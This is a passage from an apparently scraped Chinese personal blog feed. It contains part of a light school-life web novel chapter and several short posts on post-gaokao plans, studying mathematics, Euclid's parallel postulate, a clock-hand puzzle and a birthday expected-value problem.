众人只见一少年以惊人的速度开始追逐着黑影。欧龙崎也不急，他与黑影一齐跑了起来。他看了看黑影，对方明显也是一位高中生，略微发胖，脸上冒出不少汗水来。欧龙崎暗自摇了摇头为眼前这个人而感到惋惜，年纪轻轻的为什么要干这种违法乱纪的事啊。 对方也明显发现了欧龙崎，脸上露出了惊讶的表情。欧龙崎微微点头笑道“这位兄台，失礼了。”话闭，没等这人反应过来，欧龙崎以惊人的速度单手撑地对着那人的腿部就是一扫。随后那人以一个标准的恶虎扑食动作与大地做了一个亲密接触，欧龙崎起身拍了拍手捡起甩落在不远的粉色钱包，再坐在这人的腰部上面使其不得逃跑。 “大哥，放了我把，我错了…哎哟…”欧龙崎加重了力道，疼得这位大叫起来。 欧龙崎目光转到钱包上时……发现钱包夹层里有一张裸.照…不，准确的说是一个没穿衣服的婴儿的照片。（想歪了的通通面壁…） 没等欧龙崎反应过来，钱包就被劈手夺过。抬头一看，一位真正属于美女级的人物正怒视自己。不过…好像这位美女的心情不太好。 欧龙崎一把拎起趴在地上的那人对着女生说道“说吧，怎么处置他。” “张闪，你又来这招是什么意思？”女生的口气很不客气，像是审问一个犯人，不过这人的处境确实是个犯人。“作为一个表哥，不好好做榜样，整天只知道玩网络游戏，玩玩就算了，居然你还要耗费资金去玩。你用钱玩也就算了，你居然找要钱，你就不知道找你妈去要啊。找我要不到就抢是吧？” 围观的人越来越多，这个叫张闪的人明显底气不足“那个…” 欧龙崎这才明白是别人家务事，自己不好插手，于是就把张闪放开准备闪人。 “你别走。”女生冷冷道。 “嗯？”桃花运来了？英勇出手获得了美人的芳心？就这么简单？欧龙崎转身过去后愣住了。 只见女生手里拿着一瓶矿泉水全部倒在了欧龙崎头上，因为不够高，还是掂着脚倒的。 一阵清凉从头部向下延伸，旁边围观的学生都窃笑了起来。欧龙崎那脆弱心被现实彻底击碎… “这就是惹到本姑娘的后果，哼，小娜我们走。”说完拉着在一旁发愣的女生走开了。 欧龙崎擦了擦湿透了的头，郁闷地想到。我惹他什么了？难道是那张照片？想到着欧龙崎嘴角抽了抽，这女生没病吧，看上去挺正常的，还很漂亮嘛。 人群渐渐散去，一只手递过来了一张餐巾纸。欧龙崎想也没想就接了过来，仔细想想又不对劲。扭头看去，原来是张闪一脸暧昧地看着自己。 “干什么？”欧龙崎被看得心里有点不舒服起来，连忙后退了几步。 “这位大哥，你身手太好了，我太膜拜你了！”张闪激动地差点跪了下来。 “咳咳…很简单的几个招式嘛…不怎么样的…”欧龙崎被吓了一跳，生怕张闪跪下来于是赶忙扶住了他，看他那势头，真的有可能跪下。 “不！”张闪突然抬起头，两眼放光，像壮士一般地道“从你的身手看来你不是一般人。从开始我就一直默默地观察着你，兄台，看你骨骼硬朗，是练功的好料，只要打通仁督二脉前途无可限量。我这里有几本武功秘籍，有助于你打通经脉，只要100元本………诶…别走啊！”
第二话　入学（2） 2222－2－20 13：00
“大哥，买一本吧…”张闪苦苦哀求，他死死地拽着龙崎的衣角。 “给我找一件可以换的衣服，我还可以考虑考虑。”龙崎感到身上的衣服穿着越来越冷，不得不提出这个要求，况且本来就是因为眼前这个人造成的。龙崎缩了缩身体向学校走去。 “好好…到学校去我把我先付借你穿…”张闪暗淡如灰的眼睛里闪过一丝精光，连忙跟着龙崎向学校走去。 “那个…你哪个班的啊…我怎么不记得以前有见过你啊。”张闪问道。 龙崎缩了缩身子道。“我今天才转学过来的，没想到第一天就发生这么倒霉的事啊。” “新来的？” “是啊”龙崎回答道。 没有人注意道张闪的眼睛转了转“那个，我还有事…我就先走了啊…” “喂！”没等欧龙崎叫住张闪，那小子就闪得没影了。自己可还是全身上下湿透了的啊…啊嘁…看来这大春天得感冒了。龙崎拖着那沉重的步伐向学校走去。 “砰砰砰…”欧龙崎好不容易找到了校长室，可是敲了半天都没人，这可害惨了欧龙崎，他那浸湿的衣服虽然强了不少，可是等一阵春风吹过后他连上下的牙齿都开始打架了。话说，这校长人跑到那里去了？龙崎冷的只好缩到墙角用挎包挡住了一点风。 “请问你找谁？”一个发音不太标准的声音从欧龙崎的头顶响起。 龙崎抬起头看见的是一位老人，这位老人满头银发。标准的西方式的脸上露出一丝慈祥的微笑，圆弧般完美的驼背曲线，一身洗的有些泛白的黑色西装。 欧龙崎看着这个老人忽然的感觉到浑身的不自在，紧张得直挠头。 “那个…我找校长…”欧龙崎紧张地对着这个老人道。 “噢？我就是这里的校长…”校长一边说一边打开了校长室的门“请进吧，看你也挺冷的。很抱歉，我这里也没什么东西可以取暖的，你就先披上我的衣服吧。”校长从一旁的衣架上取下了一件深红色的大衣给早已坐在沙发上的欧龙崎披上了。 “想必你就是今天转学过来的学生吧？”校长坐到办公桌前带上老式的复古眼镜开始翻找资料。 “嗯…是的” “欧龙崎？”校长微微一皱眉。 “对。” “恩，不错，好名字。有魄力，以后肯定是个干大事的人。”校长恢复了他那和蔼的笑容。 “谢谢夸奖，不过我不认为光靠名字就能看出以后的生活。不同的民族风俗以及不同的地域文化、视角会造成有很多在我们看来很不错的名字再他们眼里可能是普普通通的名字而已。比如说‘有财’这个名字吧，如果给人取上，听见这个名字的人第一印象可能就会是一位财大气粗的有钱人，可是如果取在一条狗上呢？结果则是不言而喻的。” “呵呵，说的好。人类的生活是人类自己创造的，但是大多数人都不甘生活在他人的世界中。很多人就千方百计地想创造自己的世界，可是很多人都失败了，而且败得很惨…” “那一中就是校长您的世界啰？”欧龙崎问道。 “是啊，我一直以为创造了自己的世界后就安心了，可以好好享受幸福了。可是当我走到今天却发现不是这样的，我身上有许多的责任，这些责任不可推卸，每当我越想得到自己认为的幸福后就越感到自己压力很大，离幸福就越远。”校长叹了口气。 “难道您不认为教育他人是一件很幸福的事吗？” “我尝试过把教育当做自己幸福的目标…可是我不能将教育人才和幸福联系起来，时间长了我会认为是一种累赘。” “看来您是一位热爱自由的人。”欧龙崎道。 校长笑了笑“是啊，我不喜欢被囚禁的滋味，在这里我总有一种被囚禁的感觉。不过我可以问你一个问题么？” “尽管问。” “幸福是什么？它是怎么产生的？自由又是什么？它又是怎么产生的？”校长提出了他一生都在思考的问题。 “很遗憾，我现在的经历还无法回答您，不过我希望有一天我能完美的回答您的问题。”龙崎无奈道，校长要的肯定不是辞典上的解释，而是人身的诠释，对于17岁的欧龙崎来说，这个问题未免太苛刻了。起码要等自己七八十岁才能做出回答好啊。 “我也不期待你现在能回答，不过我对你以后的回答充满了兴趣。啊，好像我们扯得太远了…正事都忘记办理了…”校长拍了拍脑门道。“你直接到对面那栋楼的2楼办公室去报到吧，你的学费已经由你的家长缴纳了。” “谢谢，不过校长。我能知道您叫什么吗？”欧龙崎起身脱下了校长的外套问道，他发现身上的水分少了不少，可能是被外套直接吸收了吧。想到自己感冒的几率大大减少，龙崎暗自高兴了。 “斯里加。” “斯里加校长，那我就先告辞了。” “等等！”斯里加忽然又叫住了欧龙崎。“你好像还不知道我们学校的校规吧？” 欧龙崎停下脚步转过身看着斯里加“校规？什么校规？” “其实校规内容也不多，其实就只有一条：在任何上课的时间内不能进出教室以及不能进出学校而已。也就是说，迟到或早退是绝对不被允许的。如果说，你实在是因为某些原因而迟到早退的话，学校会试情节而决定你是否被开除学籍。这点？希望能够谅解这么苛刻的要求了，这也是为了我校的升学率呀。” “这样啊，这点的话每个学校的校规都是如此，有是很正常的嘛，我会注意的。” “嗯，我第一眼见到你就觉得你是一个很健谈的人，你一定会有很多的朋友。我很看重你。”斯里加微笑。 “正好相反”欧龙崎无奈地耸耸肩。 … 在办公室报到完后班主任唐老师带他去班级上去了。 当欧龙崎踏入教室时，莫名而明显地感觉到了一丝阴暗的杀气，仿佛能将人撕裂，仿佛能将灵魂剥离肉体，强烈的杀气让龙崎险些有些喘不过气来……</description></item><item><title>我坚信</title><link>https://changkun.de/blog/posts/%E6%88%91%E5%9D%9A%E4%BF%A1/</link><pubDate>Fri, 08 Jun 2012 13:49:41 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%88%91%E5%9D%9A%E4%BF%A1/</guid><description>明天是高考结束后的第一天，相比去年而言，我觉得是被坑了。
唉，不讨论这个话题了。
安排一下最近几天的活动吧。
第一天，开好网店，倒卖高中所有不需要的书籍，如化学、生物、语文这些一辈子都和我没有关系的东西。
尤其是尼玛生物啊，劳资是整本整本的抄书啊！艹！坑得我五体投地。
英语假期要牛逼起来，考完语文我笑了，考完数学我悲剧了（尼玛这次不是最后一题压轴啊！倒数第三题压轴啊！尼玛坑爹啊！坤哥我比你还悲剧啊！），考完理综我跪了！考完英语我又笑了！！！！！哈哈哈哈哈哈哈哈！！！！！！！！总之英语要更牛逼啊！！！大学什么的就靠英语帮忙看外文著作了！！！！！！
店开好了大家要来买东西啊！~~~~
第二天，应该是去怀化去了，老夏和我一起复仇者联盟去的说、
第三天以后。开始我真正的数学生涯！！！！！</description></item><item><title>黎明前的黑暗</title><link>https://changkun.de/blog/posts/%E9%BB%8E%E6%98%8E%E5%89%8D%E7%9A%84%E9%BB%91%E6%9A%97/</link><pubDate>Sun, 27 May 2012 06:52:42 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%BB%8E%E6%98%8E%E5%89%8D%E7%9A%84%E9%BB%91%E6%9A%97/</guid><description>“如果你是一滴水，你是否滋润了一寸土地？如果你是一线阳光，你是否照亮了一分黑暗？如果你是一颗粮食，你是否哺育了有用的生命？如果你是一颗最小的螺丝钉，你是否永远守在你生活的岗位上？如果你要告诉我们什么思想，你是否在日夜宣扬那最美丽的理想？你既然活着，你又是否为了未来的人类生活付出你的劳动，使世界一天天变得更美丽？我想问你，为未来带来了什么？在生活的仓库里，我们不应该只是个无穷尽的支付者。”</description></item><item><title>高考后的计划，第一版</title><link>https://changkun.de/blog/posts/%E9%AB%98%E8%80%83%E5%90%8E%E7%9A%84%E8%AE%A1%E5%88%92%E7%AC%AC%E4%B8%80%E7%89%88/</link><pubDate>Sun, 15 Apr 2012 12:35:58 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%AB%98%E8%80%83%E5%90%8E%E7%9A%84%E8%AE%A1%E5%88%92%E7%AC%AC%E4%B8%80%E7%89%88/</guid><description>趁着手机还在，赶紧写点东西。
第一，找爸妈学摄影。学影视。 第二，把没学完的c语言学完。算法看了一半就停课了，得赶紧补完。 第三，买把吉他，把我以前手上的茧找回来。 第四，微分几何，泛函什么的，什么的得赶紧开始了，不然我的青春可等不了我。 第五，找份兼职。把第一个学期头几个月的零用钱攒够了。 第六，身上的肉多了，得赶紧减下来。 第七，待定。</description></item><item><title>数学系就业方向小谈</title><link>https://changkun.de/blog/posts/%E6%95%B0%E5%AD%A6%E7%B3%BB%E5%B0%B1%E4%B8%9A%E6%96%B9%E5%90%91%E5%B0%8F%E8%B0%88/</link><pubDate>Wed, 11 Apr 2012 18:55:24 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%95%B0%E5%AD%A6%E7%B3%BB%E5%B0%B1%E4%B8%9A%E6%96%B9%E5%90%91%E5%B0%8F%E8%B0%88/</guid><description>关于就业什么的我先谈谈我的人生。
看了它我还是想学数学，但是尼玛应试教育搞得我对数学的热情大不比当年了。就之后的方面，研究生应该是我首选，其次就是当老师。（现在的看法）
其实我还是蛮喜欢当老师的，可能是比较有成就感的关系。或者说我在某种程度上喜欢思想性高的职业。但是，我貌似对一种长期一样的知识包含抵触情绪，比方说如今我即将彻底对高中数学失去兴趣，因为这些东西我初二就全部知道了。高中三年我又浪费了三年的光阴来做一些无聊的卷子，那些我熟得不能再熟的概念，真的很无聊。
我高中三年在数学上的收获都有些什么呢？ 其一，我觉得基础分析（包含多元分析学）学得差不多了。 其二，我觉得我感兴趣的方向应该是代数和数学分析这两个方向。如果我以后搞研究估计会选择黎曼猜想。 其三，我学到了教师经验。这个的话我高一在长沙的时候就有同学家长找到我，问我是不是有时间帮其补补课，高一那会儿我对数学的热情可是满的，所以马上就接了下来，也没有谈钱方面的问题。不过现在回想起来，那时上的那种水平的补课确实对不住后来给我的六十块钱（一共上了两次），当然，高一那会儿对整个高中的知识仅仅只是停留在自学阶段，因此无论是高中所追求的解题速度，还是解题技巧，都是非常的次。然而我在这两次补课中总结到了当老师还是不错的。高一下学期我想我的重心不在数学上，由于受到某人的影响，转变兴趣方向到了编程方面。不过现在貌似又忘得差不多了。整个高二我很用功的在学高中课程，因为整个高一我没有学过知识，无论在长沙还是回芷江之后，长沙每天通宵上网，芷江还是每天电脑。而由于我对新鲜知识的渴望，因此在高三第一个学期结束前我接触的都是我从未接触过的知识，因此我成绩一直在上升。不过当我走到顶峰时便开始下滑了，因为从高三第一个学期即将结束的时候，开始接触大量的，重复的，没有意义的知识和题目，每天的反复训练几乎让我本对其有兴趣也成了没有兴趣。以至于到现在根本连题目都看不进去了。 其四，耐心。如果是我以前的性格，估计我其他科目的书早就不会再存在了。 综上所述，我学习数学系的基础和志向应该暂时是不会太过消退的。
========================== 今天先这到这里，下次想到什么再写下来吧。睡了。</description></item><item><title>【摄影技巧】美食摄影技巧、单反摄影技巧、旅游及风光摄影技巧、提升照片构图的技巧、人像摄影专业技巧</title><link>https://changkun.de/blog/posts/%E6%91%84%E5%BD%B1%E6%8A%80%E5%B7%A7%E7%BE%8E%E9%A3%9F%E6%91%84%E5%BD%B1%E6%8A%80%E5%B7%A7%E5%8D%95%E5%8F%8D%E6%91%84%E5%BD%B1%E6%8A%80%E5%B7%A7%E6%97%85%E6%B8%B8%E5%8F%8A%E9%A3%8E%E5%85%89%E6%91%84%E5%BD%B1%E6%8A%80%E5%B7%A7%E6%8F%90%E5%8D%87%E7%85%A7%E7%89%87%E6%9E%84%E5%9B%BE%E7%9A%84%E6%8A%80%E5%B7%A7%E4%BA%BA%E5%83%8F%E6%91%84%E5%BD%B1%E4%B8%93%E4%B8%9A%E6%8A%80%E5%B7%A7/</link><pubDate>Sat, 03 Mar 2012 00:56:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%91%84%E5%BD%B1%E6%8A%80%E5%B7%A7%E7%BE%8E%E9%A3%9F%E6%91%84%E5%BD%B1%E6%8A%80%E5%B7%A7%E5%8D%95%E5%8F%8D%E6%91%84%E5%BD%B1%E6%8A%80%E5%B7%A7%E6%97%85%E6%B8%B8%E5%8F%8A%E9%A3%8E%E5%85%89%E6%91%84%E5%BD%B1%E6%8A%80%E5%B7%A7%E6%8F%90%E5%8D%87%E7%85%A7%E7%89%87%E6%9E%84%E5%9B%BE%E7%9A%84%E6%8A%80%E5%B7%A7%E4%BA%BA%E5%83%8F%E6%91%84%E5%BD%B1%E4%B8%93%E4%B8%9A%E6%8A%80%E5%B7%A7/</guid><description>豆丁网
美食摄影技巧
41种单反摄影技巧
28种旅游、风光摄影技巧
10个提升照片构图的摄影技巧
佳能官方神级教程--人像摄影专业技巧</description></item><item><title>欧几里得的宣言</title><link>https://changkun.de/blog/posts/%E6%AC%A7%E5%87%A0%E9%87%8C%E5%BE%97%E7%9A%84%E5%AE%A3%E8%A8%80/</link><pubDate>Thu, 01 Mar 2012 22:22:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%AC%A7%E5%87%A0%E9%87%8C%E5%BE%97%E7%9A%84%E5%AE%A3%E8%A8%80/</guid><description>事在人为
大约公元前300年，在地中海的南海岸，在亚历山大市尼罗河西岸近旁，生活着一位人物，他的著作的影响可与《圣经》相匹敌。他的研究方法为哲学注入了活力，并且很可能在进入19世纪之前，这种方法就确定了数学的本质。他的著作在很长一段时期曾是高等教育不可缺少的组成部分，这种情况至今仍然如此。恢复他的著作，是中世纪欧洲文明重新开始的关键。斯宾诺沙(1632?1677，荷兰哲学家)模仿过它；A?林肯(1809～1865，美国第16任总统)研究过它；康德(1724～1804，德国哲学家)维护过它。
这位人物的名字就是欧几里得。对他的生活经历，实际上我们一无所知。他吃橄榄吗?他观看比赛吗?他究竟是高还是矮?这些问题中哪一个都没有历史的答案。我们所知道的全部情况，是他在亚历山大城开办过一所学校，有才华出众的学生，蔑视唯物论。他看起来是一个非常文雅但衣着古怪的人，并且至少写过两部著作，其中之一是一本失传的有关圆锥曲线的著作，它研究一个平面与一个圆锥相截所形成的曲线。这本著作，为后来阿波罗纽斯的重要著作奠定了基础。阿波罗纽斯在航海与天文学方面曾处于十分领先的地位。
欧几里得的另一部著名著作《几何原本》，是任何时候都被最广泛阅读的“书”。《几何原本》像《马尔他猎鹰》(20世纪40年代一本美国惊险小说)一样有一段值得夸耀的历史。首先，它实际上并不是一本书，而是13卷羊皮纸文稿，原作无一留存下来，它是通过一系列后来的版本流传下来的。在中世纪黑暗时代，它几乎完全销声匿迹。欧几里得著作的前4卷无论如何也不是原来的《几何原本》：一位名为希波克拉底(不是同名的医师)在公元前400年左右写过一本称为《原本》的书，一般认为，他必定拥有了在《几何原本》中出现过的大部分资料。《原本》目录中没有列入对该书有过贡献的人员的谢辞或名录。欧几里得没有就拥有任何定理的独创性提出过请求，他意识到他本人的作用是对希腊人所了解的几何学知识进行条理化与系统化。他是第一位借助于纯粹思维，而不是参照物理世界理解二维空间性质的大师。
欧几里得《几何原本》最重要的贡献，是革新了逻辑方法：首先，他直截了当地提出了形成精确定义的一些术语，因而确保人们对所有的名词和符号有共同的理解；其次，通过叙述明白的公理与公设(这两个术语是可互换的)形成一些概念，使得所叙述的知识与假定都可以使用；最后，利用这些公理和原先证明过的定理，仅仅使用被人们公认的逻辑规则，就能推出几何系统的逻辑结论。
人们非常非常挑剔，为什么这样坚持对每一个小的论断都要进行证明呢?数学与一座高大的建筑物不同，它是一个上下连贯的结构体系，如果有一个数学砖块跌落下来，整个建筑就会摇摇欲坠，甚至造成大部分无害的谬论进入系统，而使你不能信任任何事物。事实上，有一条逻辑定理说，如果允许任何不成立的定理进入逻辑系统，不管它涉及什么，那么你就能够用它来证明出1等于2来。根据一个传说，一个怀疑者曾使企图着手解决这个垃圾定理(然而实际上他说的是逆定理)的英国逻辑学家B?罗素(1872～1970)陷入困境。“好!”怀疑者大声说，“如果我允许1等于2，那么我能证明出你是罗马教皇。”罗素说必须考虑片刻，然后他回答说：“罗马教皇与我是2，因此罗马教皇与我是1”。
每一条论断都必须证明，直觉虽然是一种有价值的指导，但必须在证明的大门口得到检验。短语“直觉上自明”在证明的步骤上不是一个严格的理由。我们大家离难免出错全都非常遥远。请想像一下沿全长25000英里的地球赤道滚出一个线团。现在再想像在赤道上方1英尺做同样的事。你需要添加多长的线呢???是500英尺，还是5000英尺?让我们把这个问题变得更容易些。想像有两个不滚动的更大的球，一个球在太阳的表面，另一个在太阳表面之上1英尺。当你向上搬动1英尺时，你需要为哪个球添加更多的线呢，是地球上的球，还是太阳上的球?直觉告诉我们中的大多数人，应该是太阳上的球，但答案是，对每一个球来说，你必须添加的线的长度是相同的，即2π英尺，大约6英尺3英寸。
很久以前，有一个名为“让我们做一笔交易”的电视节目，一名参赛者面对三个由幕布隐蔽起来的舞台。一个舞台容纳一个价值昂贵的物品，可能是一辆汽车；另两个舞台里是末等奖。假定参赛者选择第二个舞台，那么主持人就让另两个幕布之一，例如幕布3打开。假定幕布3打开后显示出的是一个末等奖，那么真正的奖品在幕布1或你选择的幕布2背后。这时，主持人问你是否愿意改变原来的选择，在这种场合就是选择幕布1取代幕布 2。你干吗?直觉上看来，无论如何你的获奖机会是相同的：一半对一半。如果你没有其他信息，那就出现这种情况；如果有其他信息，你就改变你的选择，因为你有早先所作的选择与观察主持人动作的经历。对你从最初的选择开始的所有可能情况出发进行仔细的分析，或者应用适当的称为贝叶斯定理的公式，将显示出如果你改变自己的选择，就会提高你获奖的机会。在数学上有许多例子，在那里直觉失败，而审慎的形式推理将揭示真相。
精确性是另一种需要数学来证明的性质。一个观测者可能测量出边长为1正方形的对角线长为1．4，改进他的设备后得到的结果为1．41或1．414，虽然我们打算采用的这种近似值已经足够好了，但这种近似值绝不能揭示出对角线长度是无理数这样一个革命性的远见卓识。
数量上的微小改变，可能对质产生巨大的影响。请考虑一下国家的彩票。怀有希望的失败者无奈地耸耸肩说：“如果你不玩彩票，你就不会赢。”这当然是正确的。但同样正确的是，在百分比很小的范围内，无论你买彩票，还是不买彩票，你赢的机会是相同的。如果彩票代理人宣告，把你的中奖率从0．00001四舍五入为零的话，将出现什么情况呢?这是一个小的改变，但会对他们滚滚而来的年收入产生巨大的影响。
一位生活在纽约市的业余魔术师保罗?柯里发明了一种戏法，为上述这种效应提供了一个几何范例。取一张正方形的纸，在它上面画上7 × 7的小方格。把大的正方形剪开分成5片，然后按图所示重新安排这5片。结果形成一个“方炸面饼圈”，即与原正方形同样尺寸的一个正方形，但它的中央缺了一个小正方形。面积丢失怎么会出现呢?我们能否证明完整正方形与“方炸面饼圈”有相同的面积呢?
答案是，当剪出来的几小片被拼合在一起时，正好有一小片被重复使用了，因此有一小片巧妙地逃避了，也就是我们所说的形成了一个近似值。第二排的正方形恰好高一点点, 使得大正方形高出了1／49，这恰好可以说明丢失一小块正方形面积的原因。但是如果我们限制长度测量精确到2％，我们就不能说出两种构造之间的差别了，而且可尝试得到正方形的面积与方炸面饼圈面积相等这样一个神奇的结论。
这么小的偏差能对空间的现行理论产生作用吗?引导爱因斯坦创造弯曲空间的革命性理论??广义相对论的关键之一，就是经典牛顿理论在水星近日点出现的偏差。按照牛顿理论，行星都在理想的椭圆轨道上运动。行星上最接近太阳的那个点称为近日点，而如果牛顿理论是正确的，那么，当行星每年绕太阳轨道运行时，它应精确地回到同一个近日点。在1859年，勒威耶(法国天文学家，1811～1877)在巴黎宣布，他已经发现，水星的近日点确实移动了极小的距离??当然是一个没有什么实际影响的一个量??1世纪38弧秒。然而，此偏差必定是由于某些原因引起的。勒威耶说它是“值得天文学家们注意的一个重大难题”。1915年，爱因斯坦提出了足以计算水星轨道的理论，而且他发现了与微小偏差相符合的事实。按照一位名叫A?佩斯的人的说法，“这是爱因斯坦科学生涯中的一个重大事件，他甚至激动得三天没有工作。”事实上，要求偏差微小，至少是导致经典物理衰落的原因。
欧几里得的目标是使这个系统不存在未被承认的、根据推测和不严格的直觉而得到的假定。他叙述了23个定义、5个几何公设以及5个附加的所谓“公理”。再以这些为基础，他证明了465个定理??这基本上就是他那个时代的全部几何知识了。
欧几里得所定义的，包括像点、线(他定义的线可以是曲的)、直线、圆、直角、曲面和平面等术语。在他所定义的这些术语中，某些术语非常精确，比如他说平行线是“位于同一平面，朝两个方向任意延长后在两个方向上都不相交的两条直线”。
欧几里得说圆是“包含在一个线(曲线)内的一个平面图形，从位于曲线内部的一点(称为中心)出发的所有直线段彼此相等”。对于直角，欧几里得定义为“当一条直线与另一条直线构成彼此相等的相邻两个角，这相等的两个角中任何一个角是一个直角”。
但欧几里得的另一些定义，例如点与线的定义，是含糊而且几乎无用的：“一条直线是平坦地落在它自身一些点上的图形。”这个定义可能来源于建筑行业，在这个行业中，通过眯起眼睛沿着它的延长方向凝视这种方式来检验一条线是否平直。为了理解它的含义，你必定已经对一条直线形成了印象。欧几里得把点定义为“没有组成部分(即不能再分)的事物”，另一个定义是，对它来说边界是无意义的。
欧几里得的公理更高雅。这些公理是非几何方面的逻辑论断，与几何学特定的公设相对的是，欧几里得显然认为公理是人们公认的理念。这正是早先由亚里士多德指出过的区别。通过明确揭示这些直觉的假定，欧几里得特意添加上他的公设(即公理)，显然他还感到需要把它们与他的纯几何论断加以区别。他思想深处的遗嘱，是他需要作这样完全的陈述：
1．与第三个事物相等的两个事物彼此相等；
2．等量加等量所得的总和相等；
3．等量减等量所余的差相等；
4．能彼此重合的事物相等；
5．整体大于部分。
作为欧几里得几何基础之几何内容的前言，是他的5条公设。其中前4条是简单的，能用某种完美的方式加以叙述。用现在的说法即：
1．已知任意两个点，可以画一条以这两个点为端点的直线；
2．任意线段可以沿两个方向无限延伸；
3．已知任意点，可画出一个以此点为中心、任意半径的圆；
4．所有直角都相等。
公设1与2看来与我们的经验一致。我们意识到，我们知道如何从一个点到另一个点画一条直线段，而且我们绝不会撞到阻止我们延长线段到达太空尽头的障碍物。
公设3稍微有点难以捉摸。其中一个方面是指，在空间中的距离以这样一种方式来定义，即当我们画出一个圆时，是把线段从一个位置移动到另一个位置而使线段的长度保持不变。欧几里得的第4公设看起来既简单又明显。为了理解难以捉摸之处，可回忆直角的定义：它是一条直线与另一条直线以下列方式相交而形成的，两边构成的角相等。我们已多次发现：一条直线垂直于另一条直线，在交点两边构成的角都是90。。但是由这个定义本身并不能证明这个结果，甚至不能确保角度的大小总是取同样的数值。我们可以想像一个世界，在其中，如果两条直线在一个已知点相交，角度可能等于90。；但如果它们在另一点相交，那么角度等于另一个值。所有直角相等的公设确保上述这种情况不会发生。在某种意义下，这意味着一条直线看起来沿着它的长度指向都相同，即处于一种平直性的状态。
欧几里得的第5公设，称为平行公设，看起来就不像其他公设那样明显和直觉了。它是欧几里得特有的创造，但它并不是他所记述的一大批知识的基本部分。而且他明显地不喜欢这个公设，因为他好像尽可能避免使用这个公设。后来的数学家亦不喜欢它，感到它作为一个公设不够简明单纯，而应该作为一个定理来加以证明。以下是与欧几里得最初表达形式相接近的一种形式：
5．已知一个线段以这种方式与两条直线相截：如果同旁内角之和小于两个直角，则两条直线最终会(在线段的那一边)相交。
平行公设给出了确定两条共面直线是否聚合、平行或发散的检验方法。为了理解这一点，有一个示意图是有帮助的。
平行公设有许多不同而相互等价的表达方式。下述形式使得说明空间情况的这个公设特别明白易懂：
已知一条直线及直线的一个外部点(不在此直线上的点)，则恰好存在另一条(在同一个平面上的)直线通过此外部点，且平行于已知直线。
以下两种可能的情况使平行公设不成立：一是可能不存在平行线这样的几何对象；二是通过某个外部点存在不止一条平行线。
在一张纸上画一条直线，并在此直线外的某个地方画一个点。过此点不能画出任何平行线似乎是可能的吗?过此点画出不止一条平行线似乎是可能的吗?平行公设能描述我们周围的世界吗?可能存在一种在其中数学相容性不成立的几何学吗?上述后两个问题最后导致理性思维上的一场革命。前一个问题出现在人们观察宇宙的时候；后一个问题出现于人们理解数学的本质与意义的场合。但是两千年以来，在人类知识的任何领域中很难出现另一种观念，它比欧几里得公理表达的“事实”，即有一条且只有一条平行线存在，更广泛地得到承认。</description></item><item><title>用数学眼光看世界之「焦点访谈的播出时间」</title><link>https://changkun.de/blog/posts/%E7%94%A8%E6%95%B0%E5%AD%A6%E7%9C%BC%E5%85%89%E7%9C%8B%E4%B8%96%E7%95%8C%E4%B9%8B%E7%84%A6%E7%82%B9%E8%AE%BF%E8%B0%88%E7%9A%84%E6%92%AD%E5%87%BA%E6%97%B6%E9%97%B4/</link><pubDate>Wed, 03 Aug 2011 09:28:23 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%94%A8%E6%95%B0%E5%AD%A6%E7%9C%BC%E5%85%89%E7%9C%8B%E4%B8%96%E7%95%8C%E4%B9%8B%E7%84%A6%E7%82%B9%E8%AE%BF%E8%B0%88%E7%9A%84%E6%92%AD%E5%87%BA%E6%97%B6%E9%97%B4/</guid><description>“焦点访谈”是重要电视台第一套节目时事、政治性较强的一个节目，应该选择晚上看电视节目人数最多的“黄金时间”播出。 即应选在晚上7点到8点之间的一个时刻开始播出，经常观看这个节目的你一定注意到了，它的播出时间是 7:38，这里有什么特殊含义么？ 容易观察到，七点三十八分的时候刚好是时针和分针重合的时候，下面我们来证明它：
证明：设7点t分(0≤t&amp;lt;60)时针时针和分针重合。 在7点整时，时针和分针夹角为30*7=210度， 时针每小时转30度，所以每分钟转0.5度； 分针每5分钟转30度，所以每分钟转6度， 因为时针转t分钟后，两针重合，这时时针从七点整的位置转了0.5t的角度 而分针转了6t的角度，于是我们得到方程：6t=210+0.5t. 解得t=420/11约等于38(分) 证明完毕。
从而可以看出“焦点访谈”栏目播出时间的用意：用时针和分针重合来比喻时事、政治的“焦点”。</description></item><item><title>故城1</title><link>https://changkun.de/blog/posts/%E6%95%85%E5%9F%8E1/</link><pubDate>Thu, 30 Jun 2011 09:07:01 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%95%85%E5%9F%8E1/</guid><description>每个人心里都会留下一座城，或是无形，或是具象。 但城会留下，带不走，而人却终归要迁徒。“故”有逝去的意思，是的，城逝去了，人还在路上。“你们既然来了，看见了，知道了，而且你们年轻，你们可以依你们的理想来创造美丽的新世界。”可我们有的时候就是这般，我们也不知道我们要的是什么，寻的是什么。我们离开自己的村庄迁徒去他人的城，又离开他人的城去探访那些他人的村庄，或是他人的城，我们总是拿起又放下，我们总不知道该拿起什么，放下什么。</description></item><item><title>记事簿5</title><link>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF5/</link><pubDate>Wed, 15 Jun 2011 17:38:14 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF5/</guid><description>##（五）
接着说。 由于期望值满足线性关系（即对于随机变量 X 和 Y 有 E(X) + E(Y) = E(X+Y) ），因此我们只需要让每一天员工总工作时间的期望值最大就可以了。假设公司里有 n 个人，那么在特定的一天里，没有人过生日的概率是 (364/365) n 。因此，这一天的期望总工作时间就是 n · (364/365)^n 个工作日。为了考察函数 n · (364/365)^n 的增减性，我们来看一下 ((n+1) · (364/365)^(n+1) ) / (n · (364/365)^n ) 的值，它等于 (364 · (n+1)) / (365 · n) 。如果分子比分母小，解得 n &amp;gt; 364 。可见，要到 n = 365 以后，函数才是递减的。</description></item><item><title>记事簿4</title><link>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF4/</link><pubDate>Tue, 14 Jun 2011 18:34:23 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF4/</guid><description>（四） 